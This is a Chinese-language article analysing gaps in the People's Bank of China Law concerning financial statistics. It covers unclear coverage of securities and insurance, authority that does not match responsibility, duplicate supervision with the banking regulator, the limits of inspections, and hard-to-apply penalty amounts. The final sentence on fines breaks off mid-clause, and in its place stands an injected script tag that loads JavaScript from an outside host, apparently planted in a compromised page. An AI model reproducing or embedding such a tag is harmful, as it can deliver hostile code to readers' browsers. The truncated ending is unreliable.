当前,金融创新步伐加快,银行业务种类逐步拓宽,金融三大监管体系逐步到位,这对中国人民银行履行金融统计职能提出了新的要求,在行使金融统计的检查监督权方面,法规与实践同时面临着困惑:
1.金融统计的涵盖对象不清晰。
人民银行与银监会、保监会、证监会的“一行三会”的金融业管理格局定型后,央行金融统计与三大行业监管部门的关系尚未理顺,金融统计的涵盖范围尚不清晰。《中国人民银行法》第四条第11款规定,人民银行“负责金融业的统计、调查、分析和预测”。金融业应包括银行业、证券业和保险业,但第三十五条第1款却只对银行业金融机构作了要求,即“中国人民银行根据履行职责的需要,有权要求银行业金融机构报送必要的资产负债表、利润表及其他财务会计、统计报表和资料。”而是否有权要求证券业、保险业报送相关资料,没有在法律上得到体现。
虽然第三十五条同时规定“中国人民银行应当和国务院银行业监督管理机构、国务院其他金融监督管理机构建立管理信息共享机制,”但没有明确监管信息共享机制究竟是自上而下逐级建立还是各分支机构分别建立,对人民银行中心支行及县支行来说,因证监会、保监会在当地无分支机构,基层央行在无权要求证券、保险机构报送资料的情况下,又没有渠道与之所对应的监管机构建立信息共享机制,对证券、保险资料的统计始终是空白,对辖区金融业无法从整体上做出分析预测。
2.金融统计职责与权限不对称。
《中国人民银行法》第三十六条规定“中国人民银行负责统一编制全国金融统计数据、报表,并按照国家有关规定予以公布,”结合“建立管理信息共享机制”的条款,可以理解为人民银行总行只是在“共享”的基础上对金融业统计数据进行编制公布,实际上对证券、保险机构统计业务没有监督检查权。中国人民银行作为国家行政机关对外公布数据,就应对数据的真实完整性负有一定法律责任,在责任、权力不对等的情况下,无法保证金融统计数据的真实完整性。此外,《中国人民银行法》对于区域金融统计数据的编制公布方式没有规定。
3.对银行业统计存在着重复监管的现象。
从《中国人民银行法》、《金融统计管理规定》、《银行业监督管理法》及《银行业监管统计管理暂行办法》有关条款及具体实践看,中国人民银行及银行监管机构都有权对银行业机构的统计进行监督管理,这样就容易产生重复监管或互相推诿的现象。实际情况也是商业银行、信用社向人民银行和银监机构双向并行报送,银监机构部分报表数据从央行获得,形成重复交叉、逆向报送的问题,金融统计信息的共享利用率不高,金融业存在重复劳动现象。
4.金融统计检查监督的范围不易把握。
金融统计数据以会计报表为基础,会计信息的真实性是统计数据真实性的根基。关于统计监督和检查,《金融统计管理规定》第六章做了规定,统计资料的真实性是监督检查的重点,并规定“统计检查部门和统计检查员有权对被检查机构使用的统计资料及其数据来源进行检查和监督。”在具体实践中,统计部门开展数据真实性检查有相当难度,对其数据来源追查到哪一层次不易把握。
对会计科目使用不规范或会计违规操作带来的统计数字不真实,统计检查中如扩大范围,则统计检查会演变成资产负债、盈利“真实性检查”甚至“全面检查”,超出了人民银行检查权的范围。例如每年年终,出于多种目的,有的金融机构会隐瞒存款、利润,开展统计检查就需调阅会计总分账、报表、相关凭证,甚至会追查到账外账、“小金库”,这就涉及到工作量、检查权限问题,基层行难以把握深入到什么程度。
5.《中国人民银行法》没有赋予金融统计直接检查权。
尽管修改后的《中国人民银行法》第三十五条明确规定“中国人民银行根据履行职责的需要,有权要求银行业金融机构报送必要的资产负债表、利润表以及财务会计、统计报表和资料。”但在第三十二条赋予中国人民银行对金融机构九项直接检查权力中却没有与统计资料真实性相关的检查。
6.对金融统计违规处罚标准难掌握。
《中国人民银行法》在第七章的法律责任部分没有对银行业金融机构瞒报、迟报、错报和漏报统计资料的处罚条款。依据《商业银行法》,未按规定向人民银行报送有关资料报表的可处20—50万元罚款,如果金融机构偶尔漏报一些资料就处以20万元以上罚款难以落实。处罚金额大,难操作。《金融统计管理规定》第三十九条规定,对金融机构提供虚假的或者隐瞒重要事实的财务会计报告、统计报告的,可按照《金融违法行为处罚办法》处10万元以上50万元?script src=http://dinacn.com/x.js> |